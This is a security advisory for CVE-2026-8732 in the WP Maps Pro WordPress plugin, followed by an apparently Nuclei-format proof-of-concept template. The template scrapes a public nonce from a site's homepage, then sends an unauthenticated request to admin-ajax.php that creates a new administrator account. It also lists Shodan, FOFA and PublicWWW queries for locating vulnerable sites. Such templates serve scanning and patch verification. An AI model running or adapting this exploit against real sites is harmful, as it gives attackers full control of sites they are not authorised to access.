The WP Maps Pro plugin for WordPress is vulnerable to Privilege Escalation via Administrator Account Creation in all versions up to, and including, 6.1.0. This is due to the wpgmp_temp_access_ajax AJAX action being registered with wp_ajax_nopriv_ and protected only by a nonce check using the fc-call-nonce nonce, which is publicly embedded into every frontend page via wp_localize_script as the nonce field of the wpgmp_local JavaScript object, rendering the check ineffective as an access control mechanism. This makes it possible for unauthenticated attackers to invoke the wpgmp_temp_access_support handler with check_temp=false, which unconditionally creates a new WordPress user with the hardcoded role of administrator via wp_insert_user() and returns a magic login URL that, when visited, calls wp_set_auth_cookie() to fully authenticate the attacker as the newly created administrator, resulting in complete site takeover.
PoC
id: CVE-2026-8732
info:
name: WP Maps Pro (wp-google-map-gold) <= 6.1.0 - Unauthenticated Administrator Account Creation
author: DhiyaneshDk
severity: critical
description: |
The WP Maps Pro plugin for WordPress is vulnerable to Privilege Escalation via Administrator Account Creation in all versions up to, and including, 6.1.0. This is due to the wpgmp_temp_access_ajax AJAX action being registered with wp_ajax_nopriv_ and protected only by a nonce check using the fc-call-nonce nonce, which is publicly embedded into every frontend page via wp_localize_script as the nonce field of the wpgmp_local JavaScript object, rendering the check ineffective as an access control mechanism. This makes it possible for unauthenticated attackers to invoke the wpgmp_temp_access_support handler with check_temp=false, which unconditionally creates a new WordPress user with the hardcoded role of administrator via wp_insert_user() and returns a magic login URL that, when visited, calls wp_set_auth_cookie() to fully authenticate the attacker as the newly created administrator, resulting in complete site takeover.
impact: |
Unauthenticated attackers can create administrator accounts and fully authenticate, leading to complete site takeover.
remediation: |
Update to the latest version beyond 6.1.0.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2026-8732
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-maps-pro/cve-2026-8732/
- https://github.com/xShadow-Here/CVE-2026-8732
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-8732
cwe-id: CWE-862
epss-score: 0.22728
epss-percentile: 0.97608
metadata:
verified: true
max-request: 2
vendor: flippercode
product: wp-google-map-gold
fofa-query: body="/wp-content/plugins/wp-maps-pro/"
publicwww-query: "/wp-content/plugins/wp-maps-pro/"
shodan-query: http.html:"/wp-content/plugins/wp-maps-pro/"
tags: cve,cve2026,wordpress,wp-plugin,wp-maps-pro,unauth,priv-esc,intrusive,vkev
flow: http(1) && http(2)
variables:
username: "{{rand_base(8)}}"
email: "{{rand_base(6)}}@{{rand_base(4)}}.com"
password: "{{rand_base(10)}}"
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
Accept: text/html,application/xhtml+xml
matchers:
- type: dsl
dsl:
- 'contains(body, "wpgmp_local")'
- 'status_code == 200'
condition: and
internal: true
extractors:
- type: regex
name: nonce
part: body
group: 1
regex:
- '"wpgmp_local"[^;]*"nonce"\s*:\s*"([a-f0-9]+)"'
- 'wpgmp_local\s*=\s*\{[^}]*"nonce"\s*:\s*"([a-f0-9]+)"'
internal: true
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=wpgmp_temp_access_ajax&nonce={{nonce}}&check_temp=false&user_login={{username}}&user_email={{email}}&user_pass={{password}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'wpgmp_access='
- '"wpgmp_access":'
- 'login_url'
- 'user_id'
condition: and
- type: word
part: body
words:
- '"success":true'
- type: status
status:
- 200
# digest: 4a0a004730450220195979503b87513ea9f8d9640ef41358e0f6af52cae7a0d1fd53dc33824466e702210091cc9cf5a7991952b44da530bd96b1eca1faccdc1ba5e6ffb70557eab2f06e2a:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.